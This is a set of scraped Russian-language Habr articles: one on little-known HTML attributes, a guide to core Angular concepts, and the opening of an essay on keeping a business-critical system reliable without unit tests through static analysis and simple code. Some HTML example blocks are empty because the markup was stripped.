var lambda = Expression.Lambda(typeof(Func), newExpression, param);
return (Func)lambda.Compile();
}
}
``` | https://habr.com/ru/post/350688/ | null | ru | null |
# 7 полезных HTML-атрибутов, о которых вы, возможно, не знаете
Веб-разработчик просто обязан хорошо знать HTML и уметь им пользоваться. Тот, кто не ориентируется в HTML, просто не может называться веб-разработчиком. Ведь каждый сайт в интернете создан с применением HTML. Этот язык разметки обладает массой ценных возможностей. В частности, HTML-элементам можно назначать атрибуты, применение которых позволяет расширять возможности элементов.
[](https://habr.com/ru/company/ruvds/blog/548680/)
Некоторые атрибуты общеизвестны, а вот о некоторых кое-кто, возможно, и не знает. Сегодня мы поговорим о таких вот малоизвестных HTML-атрибутах.
1. Accept
---------
Как известно, HTML позволяет создавать поля для выгрузки файлов. При этом, пользуясь атрибутом `accept` таких полей, можно указывать типы файлов, которые пользователям сайта разрешено выгружать на сервер.
Например, можно сделать так, чтобы поле позволяло бы выбирать только файлы с расширениями `.jpg` и `.png`:
```
```
Поэкспериментировать с атрибутом `accept` можно в [этом](https://codepen.io/MehdiAoussiad/pen/jOrZVeo) CodePen-проекте. Этот же проект демонстрирует применение атрибута, который описан в следующем разделе.
2. Multiple
-----------
Атрибут `multiple` можно назначать тегам и . Он позволяет пользователям выбирать в соответствующих полях, описываемых этими элементами, несколько значений.
Например, этот атрибут можно назначить полю, используемому для выгрузки файлов на сервер, что позволит одновременно выгружать несколько файлов.
Вот пример:
```
```
3. Contenteditable
------------------
Атрибут `contenteditable` применяется для того чтобы включить возможность редактирования элемента пользователем. Вот, например, описание списка, содержимое которого можно редактировать, находясь на веб-странице:
```
Employees:
===========
* 1. John
* 2. Mehdi
* 3. James
```
[Вот](https://codepen.io/MehdiAoussiad/pen/VwKzmKL) соответствующий интерактивный пример на CodePen.
4. Download
-----------
Атрибут `download` позволяет сделать так, чтобы браузер, при щелчке по ссылке с этим атрибутом, не переходил бы по ней, а предложил бы пользователю скачать то, адрес чего в ней содержится.
Вот пример:
```
[Download this](index.html)
```
Атрибут может использоваться без значения, а если значение ему назначено — оно будет играть роль рекомендованного имени загружаемого файла.
[Вот](https://codepen.io/MehdiAoussiad/pen/eYBWopo) пример.
5. Translate
------------
Атрибут `translate` используется для указания на необходимость перевода некоего содержимого на другой язык. Это — глобальный атрибут, его можно назначать любым HTML-элементам.
Этот атрибут применим, например, в элементах, используемых для вывода названий компаний, которые, при переводе остального содержимого страницы, переводить не нужно. Он может принимать значения `yes` (переводить) и `no` (не переводить)
Вот как им пользоваться:
```
Mehdi
```
6. Poster
---------
Атрибут `poster` применим к элементам и позволяет указывать адрес изображения, выводимого в окне просмотра во время загрузки видео, или выводимого до тех пор, пока пользователь не нажмёт кнопку воспроизведения.
Вот пример:
Изображение `picture.jpeg` будет выводиться до тех пор, пока не будет нажата кнопка запуска воспроизведения видео.
7. Pattern
----------
Атрибут `pattern` позволяет настраивать поля ввода данных, описывая регулярные выражения, используемые для контроля того, что пользователи вводят в такие поля. Совместно с этим атрибутом можно использовать атрибут `title`, который содержит пояснения по поводу того, что именно нужно ввести в конкретное поле.
Вот как атрибуты `pattern` и `title` используются при описании поля, предназначенного для ввода трёхбуквенного кода страны:
```
Country Code:
```
Пример использования атрибута `pattern` можно найти [здесь](https://codepen.io/MehdiAoussiad/pen/xxRaPZW).
Итоги
-----
Как видите, HTML-атрибуты могут принести веб-разработчику много пользы. Они позволяют оснащать обычные HTML-элементы дополнительными возможностями. Поэтому советую вам как следует освоить HTML-атрибуты, не ограничиваясь теми, о которыми мы тут говорили.
Бывало ли так, что вы узнавали о некоем HTML-атрибуте только после того, как другими способами реализовывали предоставляемые им возможности?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=ru_vds&utm_content=7-html#order) | https://habr.com/ru/post/548680/ | null | ru | null |
# 19 концепций, которые нужно изучить для того, чтобы стать эффективным Angular-разработчиком
TODO-приложение во фронтенд-разработке — это то же самое, что «Hello world» в обычном программировании. При создании TODO-приложений можно изучить выполнение CRUD-операций средствами того или иного фреймворка. Но часто подобные проекты лишь весьма поверхностно касаются того, что на самом деле умеет фреймворк.
Если взглянуть на Angular, то возникает такое ощущение, что этот фреймворк постоянно меняется и обновляется. На самом же деле в том, что касается Angular, можно выделить некоторые идеи, которые остаются неизменными. В материале, перевод которого мы сегодня публикуем, приведён обзор базовых концепций Angular, которые нужно понять для того, чтобы правильно и эффективно пользоваться возможностями этого фреймворка.
[](https://habr.com/ru/company/ruvds/blog/455503/)
Для освоения Angular нужно очень много всего изучить. Многие разработчики застревают на начальных этапах освоения Angular. Происходит это из-за того, что они не знают о том, куда им двигаться, или не знают того, по каким ключевым словам им искать информацию, которая позволит им сделать шаг вперёд. Автор этого материала говорит, что ей, когда она начинала осваивать Angular 2+, хотелось бы, чтобы ей попалось бы руководство по данному фреймворку, похожее на это.
1. Модульная архитектура Angular
--------------------------------
Angular-приложения, в теории, можно создавать, помещая весь код на одну страницу, в одну огромную функцию. Но поступать так, с одной стороны, не рекомендуется, а с другой — такой подход нельзя назвать эффективным с точки зрения структурирования кода. К тому же это лишает смысла само существование Angular.
В Angular, как часть архитектуры фреймворка, широко используется концепция модулей. Модуль — это фрагмент кода, у существования которого есть лишь одна причина. В целом можно сказать, что Angular-приложения собирают из модулей. Некоторые модули используются лишь в одном месте приложения, некоторые — в разных местах.
Существует множество способов структурирования модулей в пределах приложения. Кроме того, изучение различных архитектурных паттернов помогает понять то, как организовать структуру приложения с прицелом на его масштабирование в ходе его роста. Кроме того, разумное использование модулей помогает изолировать код и предотвратить дублирование кода в проекте.
В следующем подразделе будут приведены примеры запросов, по которым можно поискать дополнительные материалы по этой теме. Такие подразделы встретятся вам и в других разделах этого материала.
### ▍Поисковые запросы
* Angular architecture patterns (Архитектурные паттерны Angular).
* Scalable Angular application architecture (Масштабируемая архитектура Angular-приложений).
2. Односторонний поток данных и иммутабельность
-----------------------------------------------
Многим разработчикам, использовавшим Angular 1, пришлась по душе концепция двустороннего связывания. Это, на самом деле, было одним из привлекательных качеств Angular. Но со временем, по мере усложнения Angular-приложений, стало понятно, что двустороннее связывание создаёт проблемы с производительностью.
Оказалось, что двустороннее связывание, на самом деле, нужно не так уж и часто.
В Angular 2+ всё ещё можно пользоваться двусторонним связыванием, но лишь тогда, когда разработчик явно выражает намерение задействовать эту возможность. Такой подход заставляет тех, кто пишет код приложений, задумываться о направлении потоков данных. Это, кроме того, позволяет более гибко работать с данными. Гибкость достигается благодаря возможности настройки того, как именно данные должны перемещаться в приложении.
### ▍Поисковые запросы
* Angular data flow best practices (Рекомендации по работе с потоками данных в Angular).
* Uni-directional flow in Angular (Односторонний поток данных в Angular).
* Advantages of one way binding (Преимущества одностороннего связывания).
3. Атрибутивные и структурные директивы Angular
-----------------------------------------------
Директива — это расширение HTML посредством пользовательских элементов. Атрибутивные директивы, или атрибуты, позволяют изменять свойства элементов. Структурные директивы позволяют влиять на содержимое страниц, удаляя элементы из DOM или добавляя их в DOM.
Например — `ngSwitch` и `ngIf` — это структурные директивы, так как они оценивают передаваемые им параметры и определяют, должны или нет некие части DOM присутствовать в документе.
Атрибуты представляют собой механизмы изменения стандартного поведения элементов, настраиваемые программистом.
Изучение того, как пользоваться этими двумя видами директив, поможет расширить возможности вашего приложения и сократить объём дублирующегося кода. Атрибутивные директивы, кроме того, могут помочь в выделении неких шаблонов изменения элементов, которые используются в разных местах приложения.
### ▍Поисковые запросы
* Angular attribute directives (Атрибутивные директивы Angular).
* Angular structural directives (Структурные директивы Angular).
* Angular structural directive patterns (Паттерны структурных директив Angular).
4. Методы жизненного цикла компонентов
--------------------------------------
Каждый фрагмент кода имеет собственный жизненный цикл, который определяет то, как нечто создаётся, выводится на экран, а затем исчезает. В Angular есть такое понятие, как «жизненный цикл компонента». Он выглядит примерно так:
* Создание.
* Рендеринг.
* Рендеринг дочерних компонентов.
* Проверка на изменение свойств, связанных с данными.
* Уничтожение.
* Удаление из DOM.
У программиста есть возможность вмешиваться в работу компонента в ключевые моменты данного цикла, ориентируясь, например, на некие события. Это позволяет настроить то, как программа ведёт себя в различные моменты жизненного цикла компонентов.
Например, может понадобиться загрузить некие данные до вывода страницы на экран. Сделать это можно в методе жизненного цикла компонента `ngOnInit()`. Или, возможно, в определённый момент работы с приложением нужно отключиться от базы данных. Сделать это можно в методе `ngOnDestroy()`.
### ▍Поисковые запросы
* Angular life cycle hooks (Методы жизненного цикла компонентов Angular).
* Component life cycle (Жизненный цикл компонента).
5. HTTP-сервисы и Observable-объекты
------------------------------------
То, о чём мы тут говорим, относится, скорее, не к особенным возможностям Angular, а к ES7. Просто получилось так, что в Angular работа с Observable-объектами реализована на уровне фреймворка. Похожие механизмы есть и в React, и в Vue, и в других библиотеках и фреймворках, основанных на JavaScript.
Observable-объекты — это паттерны, которые помогают эффективно работать с данными в системах, основанных на событиях. Для того чтобы эффективно разрабатывать Angular-приложения, нужно знать о том, как пользоваться HTTP-сервисами и Observable-объектами.
### ▍Поисковые запросы
* JavaScript observable patterns (Шаблоны работы с Observable-объектами в JavaScript).
* Angular HTTP and observables (HTTP и Observable-объекты в Angular).
* ES7 observable feature (Observable-объекты в ES7).
6. «Умные» и «глупые» компоненты
--------------------------------
Многие, разрабатывая Angular-приложения, стремятся к тому, чтобы помещать в некие компоненты всё, что нужно для работы этих компонентов. Правда, это не совсем то, что можно было бы рекомендовать к практическому применению. Идея использования в Angular «умных» и «глупых» компонентов — это та концепция, о которой, пожалуй, стоило бы говорить чаще, чем о ней говорят сейчас, особенно — в кругах начинающих разработчиков.
То, является ли компонент «умным» или «глупым», определяет его роль в общей схеме устройства приложения. «Глупые» компоненты часто не имеют состояния, они отличаются простым, предсказуемым и понятным поведением. Рекомендуется всегда, когда это возможно, ориентироваться на создание и использование «глупых» компонентов.
С «умными» компонентами работать сложнее, так как они, в ходе работы, получают некие данные на вход и генерируют некие выходные данные. Для того чтобы эффективно пользоваться Angular, ознакомьтесь с концепцией «умных» и «глупых» компонентов. Это знакомство даст в ваше распоряжение паттерны и идеи, касающиеся того, как организовывать фрагменты кода приложения и как налаживать взаимоотношения этих фрагментов друг с другом.
### ▍Поисковые запросы
* Smart/dumb Angular components (Умные и глупые компоненты Angular).
* Stateless dumb components (Глупые компоненты без состояния).
* Presentational components (Презентационные компоненты).
* Smart components in Angular (Умные компоненты в Angular).
7. Структура приложения и практические рекомендации по её формированию
----------------------------------------------------------------------
Если говорить о структуре приложения и о применении при её создании практических рекомендаций, то тут хоть какую-то помощь программисту способны оказать средства командной строки Angular. Разработка Angular-приложения (или любого другого приложения) похожа на строительство дома. А именно, речь идёт о практических методиках, годами вырабатываемых и оптимизируемых сообществом разработчиков. Применение таких методик структурирования приложений приводит к появлению качественных проектов. Собственно говоря, это относится и к Angular.
Когда начинающие программисты, пытающиеся изучить Angular, жалуются на этот фреймворк, причиной таких жалоб обычно является недостаток знаний о структуре приложений. Начинающие легко разбираются с синтаксисом, тут у них проблем не возникает. А вот поиск правильного подхода к структурированию приложений даётся им куда сложнее. Здесь нужно понимать предметную область, для которой создаётся приложение, нужно знать требования к приложению, и то, как реальность и ожидания соотносятся на концептуальном и практическом уровнях.
Изучение возможных вариантов структур Angular-приложений и практических рекомендаций по использованию этих структур даст программисту видение того, как создавать его собственные проекты.
### ▍Поисковые запросы
* Single repo Angular apps (Angular-приложения, размещаемые в одном репозитории).
* Angular libraries (Библиотеки Angular).
* Angular packages (Пакеты Angular).
* Angular bundles (Бандлы Angular).
* Angular micro apps (Микро-приложения Angular).
* Monorepo (Монорепозитории).
8. Синтаксис привязки данных и шаблоны
--------------------------------------
Привязка, или биндинг данных — это, пожалуй, самая заметная возможность JavaScript-фреймворков. Кроме того, это одна из причин, по которой фреймворки вообще существуют. Привязка данных в шаблонах — это мост между статическим HTML-кодом и JavaScript. Синтаксис привязки данных в шаблонах Angular играет роль посредника, помогающего общаться HTML и JavaScript-сущностям.
После того, как вы узнаете о том, как и когда использовать привязки, вы с лёгкостью сможете превращать статические страницы в нечто интерактивное. В этой сфере рекомендуется обратить внимание на различные сценарии привязки данных. Например, это привязка свойств, событий, это интерполяция данных и двусторонняя привязка.
### ▍Поисковые запросы
* Angular property binding (Привязка свойств в Angular).
* Angular event binding (Привязка событий в Angular).
* Angular two-way binding (Двусторонняя привязка данных в Angular).
* Angular interpolation (Интерполяция в Angular).
* Angular passing constants (Передача констант в Angular).
9. Feature-модули и маршрутизация
---------------------------------
Feature-модули в Angular — это недооценённая технология. Такие модули, на самом деле, предоставляют разработчику фантастический способ организации и обособления наборов бизнес-требований к приложениям. Они помогают ограничивать ответственность фрагментов кода и предотвращать, в долгосрочной перспективе, загрязнение кода.
Существует пять типов Feature-модулей (Domain, Routed, Routing, Service, Widget), каждый из них отвечает за реализацию определённого функционала. Изучение того, как пользоваться Feature-модулями совместно с маршрутизацией, может помочь в создании отдельных блоков функционала. Это поможет и реализовывать в приложениях качественную и понятную схему разделения ответственности.
### ▍Поисковые запросы
* Angular feature modules (Feature-модули в Angular).
* Shared feature structures in Angular (Структуры Angular, реализующие возможности, предназначенные для совместного использования).
* Feature module providers (Провайдеры Feature-модулей).
* Lazy loading with routing and feature modules (Ленивая загрузка с маршрутизацией и Feature-модули).
10. Формы и валидация данных (реактивные формы и валидаторы)
------------------------------------------------------------
Формы — это неизбежная часть любой фронтенд-разработки. А там, где применяются формы, нужна и валидация данных.
В Angular существуют различные способы конструирования интеллектуальных форм, управляемых данными. Особой популярностью пользуются реактивные формы. Однако есть и другие варианты, в частности — это формы, валидация которых основана на шаблонах, а так же применение пользовательских валидаторов.
Изучение совместной работы валидаторов и CSS поможет ускорить разработку приложений и облегчить обработку ошибок в формах.
### ▍Поисковые запросы
* Angular form validation (Валидация форм в Angular).
* Template driven validation (Валидация, основанная на шаблонах)
* Reactive form validation (Валидация реактивных форм).
* Sync and async validators in Angular (Синхронные и асинхронные валидаторы в Angular).
* Built-in validators (Встроенные валидаторы).
* Angular custom validators (Пользовательские валидаторы в Angular).
* Cross-field validation (Перекрёстная валидация).
11. Проекция контента
---------------------
В Angular есть механизм, называемый проекцией контента. Он позволяет организовывать эффективную передачу данных от родительских компонентов дочерним компонентам. Хотя идея проекции контента и может показаться сложной, её суть заключается в том, что для построения некоего элемента, выводимого на экран, одни элементы помещают в другие.
Разработчики часто изучают проекцию контента на поверхностном уровне, например, осваиваясь со схемой, в которой в родительский компонент вкладывают дочерний компонент. Но для того чтобы расширить понимание этой концепции, нужно ещё понять и то, как данные передаются между различными визуальными компонентами. Именно тут очень кстати будет понимание особенностей работы проекции контента.
Понимание этой концепции помогает понять особенности движения потоков данных внутри приложения, и того, где именно происходят мутации этих данных.
### ▍Поисковые запросы
* Angular content projection (Проекция контента в Angular).
* Angular parent-child view relationship (Взаимоотношения родитель-потомок и визуальные компоненты Angular).
* Angular view data relationships (Взаимоотношения данных визуальных компонентов в Angular).
12. Стратегия обнаружения изменений onPush
------------------------------------------
По умолчанию Angular использует стандартную стратегию обнаружения изменений. При таком подходе проверки компонентов происходят постоянно. Хотя в этом и нет ничего плохого, такой подход обнаружения изменений может оказаться неэффективным.
Если речь идёт о маленьких приложениях, то на их производительность это особо не влияет. Но после того как приложение дорастёт до определённого размера, его скорость, особенно при запуске в старых браузерах, может ухудшиться.
Стратегия обнаружения изменений `onPush` позволяет серьёзно ускорить приложение. Дело в том, что при её использовании проверки производятся только при наступлении определённых событий. Это куда лучше, чем постоянные проверки.
### ▍Поисковые запросы
* Angular onPush change detection (Стратегия обнаружения изменений onPush в Angular).
13. Ограничение доступа к маршрутам, предварительная загрузка, ленивая загрузка
-------------------------------------------------------------------------------
Если в вашем проекте имеются механизмы, обеспечивающие вход пользователя в систему, это значит, что вам нужно пользоваться ограничением доступа к маршрутам. Во многих приложениях необходима возможность защиты определённых страниц от неавторизованного просмотра. Средства ограничения доступа к маршрутам работают как интерфейс между маршрутизатором и запрошенным маршрутом. Они принимают решения о том, разрешён ли в некоей ситуации доступ к конкретному маршруту. В сфере защиты маршрутов есть много такого, что полезно будет изучить. В частности, это принятие решений на основании анализа времени действия токена, использование ролей аутентификации, обеспечение безопасной работы с маршрутами.
Предварительная загрузка и ленивая загрузка данных могут улучшить впечатления пользователей от работы с сайтом благодаря сокращению времени загрузки приложения. Нелишним будет сказать и о том, что технологии предварительной и ленивой загрузки имеют отношение не только к изображениям. Эти технологии применяются при разбиении на части бандлов приложений и при загрузке разных частей этих бандлов в различных условиях.
### ▍Поисковые запросы
* Angular route guards (Ограничение доступа к маршрутам в Angular).
* Angular authentication patterns (Паттерны аутентификации в Angular).
* Angular preloading and lazy-loading modules (Предварительная загрузка и ленивая загрузка модулей в Angular).
* Angular secured route patterns (Паттерны безопасной работы с маршрутами).
14. Пользовательские конвейеры
------------------------------
Конвейеры Angular значительно облегчают форматирование данных. Существует множество встроенных конвейеров, которые позволяют решать широкий спектр стандартных задач. Среди них — задачи форматирования дат, валютных сумм, процентных значений, а также, например, работа с регистром символов. Однако всегда найдётся задача, для которой нет стандартного конвейера.
Именно в подобных случаях и нужны пользовательские конвейеры. Этот механизм позволяет программисту создавать собственные фильтры и описывать необходимые ему преобразования данных. Пользоваться всем этим несложно, поэтому данную концепцию можно рекомендовать к изучению.
### ▍Поисковые запросы
* Angular custom pipes (Пользовательские конвейеры в Angular).
15. Декораторы `@ViewChild` и `@ContentChild`
---------------------------------------------
Компоненты могут общаться друг с другом благодаря декораторам `@ViewChild` и `@ContentChild`. Суть применения Angular заключается в том, чтобы создаваемые с помощью этого фреймворка многокомпонентные приложения напоминали бы пазл. Но от такого пазла не будет особого толку в том случае, если его фрагменты будут изолированными друг от друга.
Для связи фрагментов пазла друг с другом и используются декораторы `@ViewChild` и `@ContentChild`. Изучение особенностей их использования даст вам возможность работать с компонентами, связанными с другими компонентами. Это упрощает задачу организации совместного использования данных различными компонентами. Это позволяет передавать между компонентами данные и сведения о событиях, возникающих в этих компонентах.
### ▍Поисковые запросы
* Angular decorators (Декораторы в Angular).
* Viewchild and contentchild in Angular (Декораторы `@ViewChild` и `@ContentChild` в Angular).
* Angular component data sharing (Совместное использование данных компонентами Angular).
16. Динамические компоненты и директива ng-template
---------------------------------------------------
Компоненты — это строительные блоки Angular-приложений. Однако не все компоненты нужно создавать заблаговременно. Некоторые из них нужно создавать во время работы программы.
Динамические компоненты позволяют приложению создавать то, что ему нужно, во время его работы.
Статические компоненты, в отличие от динамических, создают заранее. Делается это в тех случаях, когда не ожидается, что на компоненты может что-либо повлиять. Они предсказуемы, заранее определённым образом выполняя преобразования поступающих в них данных.
Динамические компоненты, с другой стороны, создаются по мере возникновения необходимости в них. Они оказываются очень кстати при разработке приложений, которые работают с внешними источниками данных. Они полезны и тогда, когда нужно организовать реакцию приложения на действия, происходящие на странице.
### ▍Поисковые запросы
* Dynamic components in Angular (Динамические компоненты в Angular).
* Dynamic components and ng-templating (Динамические компоненты и директива ng-template).
17. Декораторы `@Host`, `@HostBinding` и директива exportAs
-----------------------------------------------------------
Декораторы `@Host`, `@HostBinding` и директива `exportAs` используются в Angular для управления тем, к чему они применяются. Они, кроме того, дают возможность создавать лаконичные шаблоны для экспорта сущностей, которые можно использовать в приложении.
Если вышесказанное кажется вам не особенно понятным — рекомендуется поближе познакомиться с директивами и узнать о том, зачем они нужны. Декораторы `@Host`, `@HostBinding` и директива `exportAs` — это то, что помогает Angular быть тем, что он есть.
### ▍Поисковые запросы
* Angular directives patterns (Паттерны работы с директивами в Angular).
* `@Host`, `@HostBinding` and exportAs in Angular (Декораторы `@Host`, `@HostBinding` и директива exportAs в Angular).
18. Управление состоянием приложения с помощью NgRx
---------------------------------------------------
Состояние приложения определяет то, что видит пользователь. Если в состоянии приложения царит беспорядок, это может говорить о том, что структуры данных, используемые в нём, плохо приспособлены к изменениям. Такие изменения может понадобиться внести в структуры данных по мере роста и развития приложения.
По мере того, как некто начинает понимать особенности работы с состоянием в Angular, он подходит и к пониманию особенностей поведения данных в его приложениях.
В Angular есть собственная система управления состоянием. Однако существует одна технология, NgRx, которая позволяет поднять управление состоянием приложений на более высокий уровень. В частности, например, данные могут потеряться при передаче их между множеством компонентов-родителей и компонентов-потомков. А NgRx позволяет создать централизованное хранилище и избавиться от этой проблемы.
### ▍Поисковые запросы
* Angular NgRx (Применение RxJS в Angular).
* Flux/Redux principles (Принципы Flux и Redux).
* Angular state management principles (Принципы управления состоянием приложения в Angular).
19. Внедрение зависимостей и зоны
---------------------------------
Внедрение зависимостей — это масштабная универсальная концепция. Если вы не очень хорошо с ней знакомы — вам стоит её изучить. В Angular существует множество способов аккуратного внедрения зависимостей. Это, в основном, достигается путём использования конструкторов. Речь идёт об импорте в код только того, что действительно нужно. Это способствует повышению эффективности приложения.
Концепция зон, как и идея внедрения зависимостей, не уникальна для Angular. Это — механизм, который позволяет приложению отслеживать состояние асинхронных задач на всём протяжении их жизненного цикла. Это — важная концепция, так как асинхронные задачи способны менять внутреннее состояние приложения, а значит — и то, что видит пользователь. Зоны помогают организовывать процессы обнаружения изменений.
### ▍Поисковые запросы
* Angular zones (Зоны в Angular).
* Dependency injections (Внедрение зависимостей).
* Angular DI (Внедрение зависимостей в Angular).
Итоги
-----
Создание Angular-приложений — это огромная тема. И хотя обучение в ходе разработки приложений — это хороший способ узнать что-то новое, иногда бывает так, что человек просто не знает о том, чего именно он не знает. Новичкам особенно сложно понять границы своих знаний и заглянуть за них. Надеемся, этот материал помог всем, кто интересуется Angular, наметить пути глубокого изучения этого фреймворка.
**Уважаемые читатели!** На что вы посоветовали бы обратить внимание начинающим Angular-разработчикам?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/455503/ | null | ru | null |
# Есть ли жизнь без тестов?
Это история про то, как нам удалось написать довольно сложную business-critical систему, и добиться, чтобы она была стабильной даже *без юнит-тестов* (WAT?!).
Представьте: ERP-система в области логистики. Сложная бизнес-логика, составление расписаний, электронный учет рабочего времени, планирование и управление ресурсами со статистическими подсказками на основе сотен миллионов записей геораспределенных исходных данных, мониторинг прогресса >1000 одновременно работающих водителей в реальном времени, интеграция с 7 другими системами (в том числе финансовыми), и т.д., в общем большая и сложная система.
Систему начали с нуля, писали на ASP.Net Web API, Entity Framework и AngularJs (Реакта и Vue тогда еще не было, дело было в далёком 2013), небольшой, но высокопрофессиональной командой, по Scrum, написали за 4 месяца первую базовую продакшн-версию с минимальным функционалом, впоследствии функционал постепенно наращивали, система развивается и по сей день. Через год после начала разработки, система уже была внедрена по всей компании и являлась business-critical, т.е. остановка системы даже на несколько часов могла повлечь довольно существенные убытки для компании.
И возможно, вам сейчас станет немного *жутковато*, но мы обошлись без unit-тестов и выделенных тестировщиков. При этом, на протяжении нескольких лет, разработка нового функционала шла очень активно, выгрузки на продакшн в среднем 1 раз в неделю, постоянно менялись люди в команде (потому что консалтинг компания), и… система не падала и даже совсем не возникало сколь-нибудь критичных багов, только мелкие баги и косметика. Просто везет, или есть какой-то секрет?
### Почему без юнит-тестов?
Бесспорно, юнит-тесты — очень хорошая штука. Прошу понять меня правильно, я ни в коем случае в этой статье не пытаюсь сказать что они не нужны или их не надо писать. **Нужны**. И надо.
Но с ними, нужно это понимать, немало *тонкостей*. Во-первых, конечно нужно, чтобы тесты писали грамотные квалифицированные люди, понимающие как это работает: иначе тесты начинают усложняться, проверять не то и не так, давать ложное чувство уверенности и т.д. Но наверное еще более важно, что тесты *хорошо* подходят не для всех возможных случаев.
Сколько раз я видел эти классические слова: «это не тесты у вас не работают, это вы просто их писать не умеете». Но ведь так можно любую неподходящую технологию оправдать… Нет, я думаю, *не всё так просто*. Вот с паттернами к примеру. Любой более-менее опытный программист знает: паттерны это не панацея, универсальных решений не бывает, всегда нужно смотреть по ситуации, что конкретно использовать и как именно.
Вот и тесты такие же на мой взгляд — да, есть случаи, когда автоматические тесты подходят идеально: например, если реализуешь какой-нибудь протокол, или пишешь компилятор, или библиотеку со строго заданным API и прочее. В таких случаях есть четкие требования и они описаны на низком уровне — и тесты работают замечательно. А по TDD такие проекты делать и вовсе сплошное удовольствие.
Но есть и бизнес-приложения. Требования *вроде* и есть, но они описаны на очень высоком уровне, и мапить их в тесты мягко сказать непросто. *Вроде*, потому что заказчик в начале проекта сам не до конца понимает, что конкретно ему нужно. Это выясняется в деталях только в процессе, на Sprint Demo или на дэйли. Если разработка действительно agile, то требования часто меняются, а знаете что такое изменение требований на высоком уровне, в разрезе тестов? А вот что: удаляем несколько десятков тестов и пишем заново. И это продолжается весь проект. Каждый второй спринт. Примерно так…
И да, с учетом того, что кода тестов при хорошем покрытии значительно больше, чем кода самого решения… Получается, в общем, довольно неэффективно.
### Если не юнит-тесты, то что?
На удивление, способов обеспечения качества ПО, помимо автоматических и ручных тестов, немало! Жалко и обидно, что они настолько недооценены, и о них мало кто говорит. Вот посмотришь хабр: тесты, тесты, тесты. Качество софта = всегда только тесты. И все, как будто нет альтернатив. Но ведь это не так: альтернативы есть, и в ряде случаев они подходят гораздо лучше.
В свое время меня эта тема очень интересовала и я изучал самые разнообразные методы. Интересовался, например, как делают космическое ПО, где одна ошибка может повлечь многомиллионные убытки. Наверное многим известно, что там используются такие супер-тяжелые методы, как формальная верификация, тотальное документирование, перекрестное тестирование независимыми командами тестеровщиков и прочее. Но оказывается, есть у них на вооружении и более дешевые средства (подробнее об этом ниже).
Другим «источником вдохновения» стал Брет Виктор, автор множества потрясающих концептов, и в том числе идеи [Seeing spaces](http://worrydream.com/#!/SeeingSpaces), и особенно той ее части (начиная примерно с 3:53 [на видео](https://vimeo.com/97903574)), где речь идет о способах расследования и предотвращения багов. Идея в том, что для того, чтобы понять, что происходит внутри системы, нужно как бы «развернуть» эту систему, заглянуть внутрь, визуализировать ее во всех возможных плоскостях, **увидеть** как она работает изнутри. Если хорошо понимать, как работает система — то многих ошибок можно избежать. Здесь кстати снова пересечение с космической темой: это получается этакий локальный «Центр Управления Полетами» для данной системы.
(картинка взята отсюда: [vimeo.com/97903574](https://vimeo.com/97903574))
В свое время идея Брета меня совершенно захватила и наверное неделю я пытался придумать способ «развернуть» нашу конкретную систему, пока наконец-то не слепил из подручных средств утилитку-монитор, визуализирующий как минимум некоторые процессы происходящие внутри и позволяющий как бы заглянуть «под капот» системы. Эта утилитка впоследствии сэкономила мне много часов, позволила избежать кучи ошибок на ранней стадии, а в нескольких случаях — понять детально, что происходит на продакшене.
Безусловно, в современном вебдеве это решается с помощью логов, трейсинга (OpenTelemetry) и мониторинга, но многие успешные компании в добавление к этим вещам имеют свои собственные, специализированные утилиты, заточенные под визуализацию этого конкретно решения.
Кроме этих вещей, были недели поисков в гугле, десятки прочитанных статей, множество опробованных подходов и утилит, и конечно многие часы работы над кодом. Забегая вперед, одним из главных открытий для меня стал метод «fault tree analysis», но были и другие очень важные вещи. Всё это в совокупности позволило получить надежную и стабильную систему без юнит-тестов и тестировщиков.
### «Космический» подход
Как пишут код, в котором не должно ошибок вообще? Ответ разочаровывающий: пишут его нудно и долго. Страшная бюрократия, документации больше чем кода и т.д. Никакого Scrum'а. И все же есть-таки чему поучиться и что позаимствовать у космического ПО!
1. **Формальная верификация.** Использовать ее на бизнес-проектах конечно не получится (слишком дорого), но понимать — полезно. Понимать проблемы, с которыми формальная верификация сталкивается, понимать почему же так сложно доказать что цикл завершается, и понимать почему формальная верификация — не панацея, даже если есть возможность ее применить. Есть классный [David Crocker's Verification Blog](http://critical.eschertech.com/), где можно с этой темой ознакомиться, рекомендую. Когда-то давно я читал этот блог как худлит, на ночь, прямо с самой первой записи и дочитал «до наших дней» (причем это единственный блог вообще который я прочитал *полностью* в своей жизни). Да, часть информации специфична для C/C++, но все равно очень много полезного по теории формальной верификации и статическому анализу.
2. **Программирование по контракту.** Контрактное программирование тоже хорошая штука, но снова очень не дешевая и далеко не панацея. Например, в упомянутом выше блоге Дэвида, есть интереснейшая статья [о случае с взрывом ракеты Ariane 5](http://critical.eschertech.com/2010/07/07/run-time-checks-are-they-worth-it/) при взлете, где он небезосновательно утверждает, что runtime-проверки **могут** спасти, но только если: а) программа может сделать что-то полезное, если проверки не прошли; б) это что-то полезное было как следует протестировано. В общем, знать про контрактное программирование очень полезно, но для повсеместного применения в бизнес-решениях оно конечно дороговато.
3. **Статический анализ.** Сейчас много мощных средств для статического анализа кода программ. Почему бы их не использовать? Например, эксперт [Gerard Holzmann](https://en.wikipedia.org/wiki/Gerard_J._Holzmann) из лаборатории надежного ПО NASA в документе [The Power of Ten — Rules for Developing Safety Critical Code](http://spinroot.com/gerard/pdf/P10.pdf) пишет, что никаких оправданий просто не может быть чтобы не использовать. Потому что это очень дешево: запустил анализатор и все. А ведь статический анализатор очень хорош для отслеживания некоторых категорий технических багов, которые сложно заметить на глаз.
4. **Простой код.** Простой код проще поддается статическому анализу, и в нем меньше вероятность сделать ошибку. Опять же согласно документу из предыдущего пункта, методы и функции желательно умещать в один лист печатного текста ака 60 строк кода: иначе психологически не воспринимается, как логическая единица. И желательно избегать рекурсии: рекурсивный алгоритм обычно сложнее понять, чем тот же алгоритм развернутый в цикл (и опять же статические анализаторы лучше с циклами работают чем с рекурсией).
Давайте рассмотрим последние два пункта немного подробнее.
### Статический анализ
Статический анализ выглядит привлекательно: позволяет отловить кучу проблем и дешево.
Кстати, самый простой тип статического анализа — это intellisense, то, что мы каждый день используем в IDE (ну и компиляция кода, как частный случай). Очень важно, чтобы ваш проект полностью покрывался интеллисенсом. Например, если не использовать Entity Framework, а писать ~~magic strings~~ stored procedures, то вероятность сделать ошибку при очередном рефакторинге резко возрастает.
Кроме стандартного intellisense, есть, конечно же, линтеры, такие как Stylecop или более современные и продвинутые, типа SonarQube.
